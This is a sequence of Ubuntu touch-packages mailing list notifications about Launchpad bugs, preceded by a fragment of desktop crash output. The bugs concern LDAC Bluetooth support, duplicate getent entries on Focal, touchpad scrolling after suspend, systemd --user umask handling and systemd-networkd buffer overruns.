  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  libpango-1.0.so.0 => /lib/x86_64-linux-gnu/libpango-1.0.so.0 
(0x7fdbb4947000)
  libgio-2.0.so.0 => /lib/x86_64-linux-gnu/libgio-2.0.so.0 
(0x7fdbb4766000)
  libgobject-2.0.so.0 => /lib/x86_64-linux-gnu/libgobject-2.0.so.0 
(0x7fdbb4706000)
  libglib-2.0.so.0 => 

[Touch-packages] [Bug 1892377] Re: Please add LDAC support in pulseaudio-module-bluetooth

[Daniel van Vugt]

** Changed in: pulseaudio (Ubuntu)
   Status: Triaged => Fix Committed

** Tags added: fixed-in-15 fixed-upstream

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1892377

Title:
  Please add LDAC support in pulseaudio-module-bluetooth

Status in PulseAudio:
  Unknown
Status in pulseaudio package in Ubuntu:
  Fix Committed

Bug description:
  There is a project which enables these codecs in pulseaudio (by adding
  profiles for these): https://github.com/EHfive/pulseaudio-modules-bt

  For LDAC (codec) it uses libldac from the AOSP project:
  https://android.googlesource.com/platform/external/libldac

  There is a libldac dispatcher by the same author:
  https://github.com/EHfive/ldacBT

  It would be nice to have this functionality out-of-the-box in Ubuntu.
  This cannot be merged to PulseAudio upstream because the Android
  libldac library is under Apache License 2.0 which is incompatible with
  pulseaudio license LGPL 2.1:

  https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/issues/36#note_160736

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1892377/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902236] Re: Duplicated root and nobody returned by getent on Focal

[Bug Watch Updater]

** Changed in: systemd
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902236

Title:
  Duplicated root and nobody returned by getent on Focal

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  getent password or getent group returns duplicate, false/synthesized,
  entries for root and nobody

  [test case]

  root@lp1902236-f:~# getent passwd | grep root
  root:x:0:0:root:/root:/bin/bash
  root:x:0:0:root:/root:/bin/sh
  root@lp1902236-f:~# getent group | grep root
  root:x:0:
  root:x:0:

  root@lp1902236-f:~# getent passwd | grep nobody
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  root@lp1902236-f:~# getent group | grep nogroup
  nogroup:x:65534:
  nogroup:x:65534:

  [regression potential]

  any regression would likely result in incorrect results to calls to
  getent or other programs using libnss-systemd

  [scope]

  this is needed only for f

  this was fixed upstream by commit
  9494da41c271bb9519d3484b6016526a72cc6be5 which was included first in
  v246, so this is fixed in g and later already.

  b and earlier doesn't show the duplication.

  [original description]

  * Summary

  systemd's NSS integration causes getent passwd/group to return
  duplicated entries for root/root and nobody/nogroup. The root account
  also gets a different shell (/bin/sh instead of /bin/bash).

  * Steps to reproduce:

  1) create a container
  $ lxc launch images:ubuntu/focal test-nobody
  2) check the root and nobody accounts
  $ lxc exec test-nobody -- getent passwd | grep -E '^(root|nobody):'
  3) check the root and nogroup groups
  $ lxc exec test-nobody -- getent group | grep -E '^(root|nogroup):'

  2 and 3 should report a single entry for each account/group but they
  return dups like this:

  root:x:0:0:root:/root:/bin/bash
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  root:x:0:0:root:/root:/bin/sh
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin

  * Description

  The problem seems to come from the NSS integration:

  $ lxc exec test-nobody -- grep -wF systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd

  as the /etc/passwd and /etc/group file contain no dups:

  $ lxc exec test-nobody -- grep ^nobody: /etc/passwd
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  $ lxc exec test-nobody -- grep ^nogroup: /etc/group
  nogroup:x:65534:

  Removing systemd from /etc/nsswitch.conf indeed removes the dup.

  An alternative way of seeing what systemd adds on top of the flat
  files:

  $ lxc exec test-nobody -- bash -c 'diff -u /etc/passwd <(getent passwd)'
  --- /etc/passwd   2020-10-30 13:07:52.219261001 +
  +++ /dev/fd/632020-10-30 13:29:38.396928732 +
  @@ -24,3 +24,5 @@
   _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
   ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
   systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  +root:x:0:0:root:/root:/bin/sh
  +nobody:x:65534:65534:nobody:/:/usr/sbin/nologin

  $ lxc exec test-nobody -- bash -c 'diff -u /etc/group <(getent group)'
  --- /etc/group2020-10-30 13:07:52.211261089 +
  +++ /dev/fd/632020-10-30 13:29:45.892846747 +
  @@ -50,3 +50,5 @@
   ubuntu:x:1000:
   ssh:x:111:
   systemd-coredump:x:999:
  +root:x:0:
  +nogroup:x:65534:

  * Additional information

  This bug seems to occur on Focal alone as Bionic and Groovy are not
  affected.

  $ lsb_release -rd
  Description:  Ubuntu 20.04.1 LTS
  Release:  20.04

  $ apt-cache policy base-passwd systemd
  base-passwd:
    Installed: 3.5.47
    Candidate: 3.5.47
    Version table:
   *** 3.5.47 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status
  systemd:
    Installed: 245.4-4ubuntu3.2
    Candidate: 245.4-4ubuntu3.2
    Version table:
   *** 245.4-4ubuntu3.2 500
  500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
  100 /var/lib/dpkg/status
   245.4-4ubuntu3 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1902236/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1722478] Re: Two-finger scrolling and click-and-drag no longer works after resuming from suspend

[Robert Jonsson]

Thinkpad T400 with non working two finger scroll here running Kubuntu
20.04, I just wanted to comment that none of the above solutions worked
for me, but one that I found buried in a youtube video did get it to
work! And I just can't leave it visible ONLY in a video, it's just not
right.

What it boils down to is running these three xinput commands (I'm sure someone 
with more knowledge can say what this actually does and possibly the 
corresponding configuration file settings)
xinput --set-prop --type=int --format=32 "SynPS/2 Synaptics TouchPad" 
"Synaptics Two-Finger Width" 8
xinput --set-prop --type=int --format=32 "SynPS/2 Synaptics TouchPad" 
"Synaptics Two-Finger Pressure" 4
xinput --set-prop --type=int  --format=8 "SynPS/2 Synaptics TouchPad" 
"Synaptics Two-Finger Scrolling" 1 0

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to kmod in Ubuntu.
https://bugs.launchpad.net/bugs/1722478

Title:
  Two-finger scrolling and click-and-drag no longer works after resuming
  from suspend

Status in Linux:
  Confirmed
Status in kmod package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  Invalid

Bug description:
  I own a Thinkpad T440p onto which I have had Debian 9 running without
  hardware issues. I have recently installed Ubuntu 17.10 final beta to
  test it out, but two-finger scrolling does not work at the moment. It
  used to work out-of-the-box from the final beta iso, but a subsequent
  update broke it.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: linux-image-4.13.0-12-generic 4.13.0-12.13 [modified: 
boot/vmlinuz-4.13.0-12-generic]
  ProcVersionSignature: Ubuntu 4.13.0-12.13-generic 4.13.3
  Uname: Linux 4.13.0-12-generic x86_64
  ApportVersion: 2.20.7-0ubuntu2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  ghislain  10620 F pulseaudio
   /dev/snd/controlC0:  ghislain  10620 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Oct 10 09:20:01 2017
  HibernationDevice: RESUME=UUID=ae4cca1e-80ef-4a1e-87e3-0a860b49492e
  InstallationDate: Installed on 2017-10-05 (4 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926)
  MachineType: LENOVO 20AN00C1UK
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.13.0-12-generic 
root=/dev/mapper/doc1485--lap--vg-root ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.13.0-12-generic N/A
   linux-backports-modules-4.13.0-12-generic  N/A
   linux-firmware 1.169
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 03/31/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: GLET83WW (2.37 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20AN00C1UK
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0E50510 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvrGLET83WW(2.37):bd03/31/2016:svnLENOVO:pn20AN00C1UK:pvrThinkPadT440p:rvnLENOVO:rn20AN00C1UK:rvrSDK0E50510WIN:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.family: ThinkPad T440p
  dmi.product.name: 20AN00C1UK
  dmi.product.version: ThinkPad T440p
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/linux/+bug/1722478/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1685754] Re: 'systemd --user' unduly forces umask=0022

[Dan Streetman]

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Bionic)
   Status: Confirmed => In Progress

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  'systemd --user' unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  Invalid
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Invalid
Status in systemd:
  Unknown
Status in dbus package in Ubuntu:
  Invalid
Status in gnome-terminal package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in dbus source package in Bionic:
  Invalid
Status in gnome-terminal source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  In Progress

Bug description:
  [impact]

  pam_umask, from /etc/passwd, is not honored in systemd --user
  instances

  [test case]

  on a desktop system, edit /etc/passwd to change the test user entry
  (e.g. the 'ubuntu' user) to include 'umask=007' in the GECOS field
  (5th field). For example change:

  ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

  to:

  ubuntu:x:1000:1000:Ubuntu,umask=007:/home/ubuntu:/bin/bash

  You may need to reboot for your X session to pick up the change.

  Then, from the graphical desktop, open a terminal and run:

  $ gnome-terminal -e sh

  in the opened terminal, run:

  $ umask

  the number shown should be 0007, as set in the passwd file

  [regression potential]

  any regression would likely result in an incorrect umask for the user
  whose passwd entry is modified.

  [scope]

  this is needed only for b

  this is fixed in systemd upstream by commit
  5e37d1930b41b24c077ce37c6db0e36c745106c7 which was first included in
  v246, so this is fixed in g and later. This commit was also picked up
  by Debian and included in the v245 release for focal, so this is fixed
  in focal already.

  [original description]

  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  umask.

  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask',
  it systematically displays 0007.

  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask',
  it systematically displays 0022.

  That is BAD, and is a security issue.

  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
    umask  "${UMASK#$USER:*,umask=}"
  fi

  In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask
  unchanged.

  Thank you in advance for a quick correction.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gedit/+bug/1685754/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1685754] Re: 'systemd --user' unduly forces umask=0022

[Dan Streetman]

** Description changed:

+ [impact]
+ 
+ pam_umask, from /etc/passwd, is not honored in systemd --user instances
+ 
+ [test case]
+ 
+ on a desktop system, edit /etc/passwd to change the test user entry
+ (e.g. the 'ubuntu' user) to include 'umask=007' in the GECOS field (5th
+ field). For example change:
+ 
+ ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
+ 
+ to:
+ 
+ ubuntu:x:1000:1000:Ubuntu,umask=007:/home/ubuntu:/bin/bash
+ 
+ You may need to reboot for your X session to pick up the change.
+ 
+ Then, from the graphical desktop, open a terminal and run:
+ 
+ $ gnome-terminal -e sh
+ 
+ in the opened terminal, run:
+ 
+ $ umask
+ 
+ the number shown should be 0007, as set in the passwd file
+ 
+ [regression potential]
+ 
+ any regression would likely result in an incorrect umask for the user
+ whose passwd entry is modified.
+ 
+ [scope]
+ 
+ this is needed only for b
+ 
+ this is fixed in systemd upstream by commit
+ 5e37d1930b41b24c077ce37c6db0e36c745106c7 which was first included in
+ v246, so this is fixed in g and later. This commit was also picked up by
+ Debian and included in the v245 release for focal, so this is fixed in
+ focal already.
+ 
+ [original description]
+ 
  In order to set the default umask of my users to 027 or 007, I followed
  the instructions provided in 'man pam_umask' :
  
  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).
  
  Then, MOST graphical applications systematically run with the correct
  umask.
  
  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask', it
  systematically displays 0007.
  
  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask', it
  systematically displays 0022.
  
  That is BAD, and is a security issue.
  
- 
  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
-   umask  "${UMASK#$USER:*,umask=}"
+   umask  "${UMASK#$USER:*,umask=}"
  fi
  
- 
- In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask unchanged.
+ In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask
+ unchanged.
  
  Thank you in advance for a quick correction.
  
  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  'systemd --user' unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  Invalid
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Invalid
Status in systemd:
  Unknown
Status in dbus package in Ubuntu:
  Invalid
Status in gnome-terminal package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in dbus source package in Bionic:
  Invalid
Status in gnome-terminal source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Confirmed

Bug description:
  [impact]

  pam_umask, from /etc/passwd, is not honored in systemd --user
  instances

  [test case]

  on a desktop system, edit /etc/passwd to change the test user entry
  (e.g. the 'ubuntu' user) to include 'umask=007' in the GECOS field
  (5th field). For example change:

  ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

  to:

  ubuntu:x:1000:1000:Ubuntu,umask=007:/home/ubuntu:/bin/bash

  You may need to reboot for your X session to pick up the change.

  Then, from the graphical desktop, open a terminal and run:

  $ gnome-terminal -e sh

  in the opened terminal, run:

  $ umask

  the number shown should be 0007, as set in the passwd file

  [regression potential]

  any regression would likely result in an incorrect umask for the user
  whose passwd entry is modified.

  [scope]

  this is needed only for b

  this is fixed in systemd upstream by commit
  5e37d1930b41b24c077ce37c6db0e36c745106c7 which was first included in
  v246, so this is fixed in g and later. This commit was also picked up
  by Debian and included in the v245 release for focal, so this is fixed
  in focal already.

  [original description]

  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[André Hänsel]

** Attachment added: "1912331-config-files.zip"
   
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1912331/+attachment/5466762/+files/1912331-config-files.zip

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1685754] Re: 'systemd --user' unduly forces umask=0022

[Dan Streetman]

> REGRESSION: With systemd 246.6-1ubuntu1 from Ubuntu 20.10 Beta (Groovy
Gorilla), the issue had reappeared

I just tested with groovy and can't reproduce the issue; umask is
correct under gnome-terminal

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1685754

Title:
  'systemd --user' unduly forces umask=0022

Status in gedit:
  Invalid
Status in gnome-session:
  Invalid
Status in GNOME Terminal:
  Confirmed
Status in Nautilus:
  Invalid
Status in systemd:
  Unknown
Status in dbus package in Ubuntu:
  Invalid
Status in gnome-terminal package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in dbus source package in Bionic:
  Invalid
Status in gnome-terminal source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Confirmed

Bug description:
  In order to set the default umask of my users to 027 or 007, I
  followed the instructions provided in 'man pam_umask' :

  In the 'gecos' field of '/etc/passwd', I have inserted 'umask=027' or
  'umask=007' (for myself).

  Then, MOST graphical applications systematically run with the correct
  umask.

  In particular, when I press Alt-F2, run 'xterm sh' and type 'umask',
  it systematically displays 0007.

  But when I press Alt-F2, run 'gnome-terminal -e sh' and type 'umask',
  it systematically displays 0022.

  That is BAD, and is a security issue.

  
  Workaround :  Inside the newly created '/etc/profile.d/umask.sh', and in each 
'~/.bashrc', add following content :
  UMASK="$(grep  -o  "^$USER:.*,umask=0[0-7]*"  /etc/passwd)"
  if  [ "$UMASK" ];  then
umask  "${UMASK#$USER:*,umask=}"
  fi

  
  In fact, 'gnome-terminal' MUST NOT force umask=022, but keep umask unchanged.

  Thank you in advance for a quick correction.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: gnome-terminal 3.20.2-1ubuntu8
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 24 08:36:58 2017
  InstallationDate: Installed on 2017-03-28 (26 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Beta amd64 (20170321)
  SourcePackage: gnome-terminal
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gedit/+bug/1685754/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

all your files in the directories:

/etc/systemd/network
/run/systemd/network
/lib/systemd/network

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902236] Re: Duplicated root and nobody returned by getent on Focal

[Dan Streetman]

** Changed in: systemd (Ubuntu Focal)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902236

Title:
  Duplicated root and nobody returned by getent on Focal

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  getent password or getent group returns duplicate, false/synthesized,
  entries for root and nobody

  [test case]

  root@lp1902236-f:~# getent passwd | grep root
  root:x:0:0:root:/root:/bin/bash
  root:x:0:0:root:/root:/bin/sh
  root@lp1902236-f:~# getent group | grep root
  root:x:0:
  root:x:0:

  root@lp1902236-f:~# getent passwd | grep nobody
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  root@lp1902236-f:~# getent group | grep nogroup
  nogroup:x:65534:
  nogroup:x:65534:

  [regression potential]

  any regression would likely result in incorrect results to calls to
  getent or other programs using libnss-systemd

  [scope]

  this is needed only for f

  this was fixed upstream by commit
  9494da41c271bb9519d3484b6016526a72cc6be5 which was included first in
  v246, so this is fixed in g and later already.

  b and earlier doesn't show the duplication.

  [original description]

  * Summary

  systemd's NSS integration causes getent passwd/group to return
  duplicated entries for root/root and nobody/nogroup. The root account
  also gets a different shell (/bin/sh instead of /bin/bash).

  * Steps to reproduce:

  1) create a container
  $ lxc launch images:ubuntu/focal test-nobody
  2) check the root and nobody accounts
  $ lxc exec test-nobody -- getent passwd | grep -E '^(root|nobody):'
  3) check the root and nogroup groups
  $ lxc exec test-nobody -- getent group | grep -E '^(root|nogroup):'

  2 and 3 should report a single entry for each account/group but they
  return dups like this:

  root:x:0:0:root:/root:/bin/bash
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  root:x:0:0:root:/root:/bin/sh
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin

  * Description

  The problem seems to come from the NSS integration:

  $ lxc exec test-nobody -- grep -wF systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd

  as the /etc/passwd and /etc/group file contain no dups:

  $ lxc exec test-nobody -- grep ^nobody: /etc/passwd
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  $ lxc exec test-nobody -- grep ^nogroup: /etc/group
  nogroup:x:65534:

  Removing systemd from /etc/nsswitch.conf indeed removes the dup.

  An alternative way of seeing what systemd adds on top of the flat
  files:

  $ lxc exec test-nobody -- bash -c 'diff -u /etc/passwd <(getent passwd)'
  --- /etc/passwd   2020-10-30 13:07:52.219261001 +
  +++ /dev/fd/632020-10-30 13:29:38.396928732 +
  @@ -24,3 +24,5 @@
   _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
   ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
   systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  +root:x:0:0:root:/root:/bin/sh
  +nobody:x:65534:65534:nobody:/:/usr/sbin/nologin

  $ lxc exec test-nobody -- bash -c 'diff -u /etc/group <(getent group)'
  --- /etc/group2020-10-30 13:07:52.211261089 +
  +++ /dev/fd/632020-10-30 13:29:45.892846747 +
  @@ -50,3 +50,5 @@
   ubuntu:x:1000:
   ssh:x:111:
   systemd-coredump:x:999:
  +root:x:0:
  +nogroup:x:65534:

  * Additional information

  This bug seems to occur on Focal alone as Bionic and Groovy are not
  affected.

  $ lsb_release -rd
  Description:  Ubuntu 20.04.1 LTS
  Release:  20.04

  $ apt-cache policy base-passwd systemd
  base-passwd:
    Installed: 3.5.47
    Candidate: 3.5.47
    Version table:
   *** 3.5.47 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status
  systemd:
    Installed: 245.4-4ubuntu3.2
    Candidate: 245.4-4ubuntu3.2
    Version table:
   *** 245.4-4ubuntu3.2 500
  500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
  100 /var/lib/dpkg/status
   245.4-4ubuntu3 500
  500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages

To manage notifications about this bug go to:
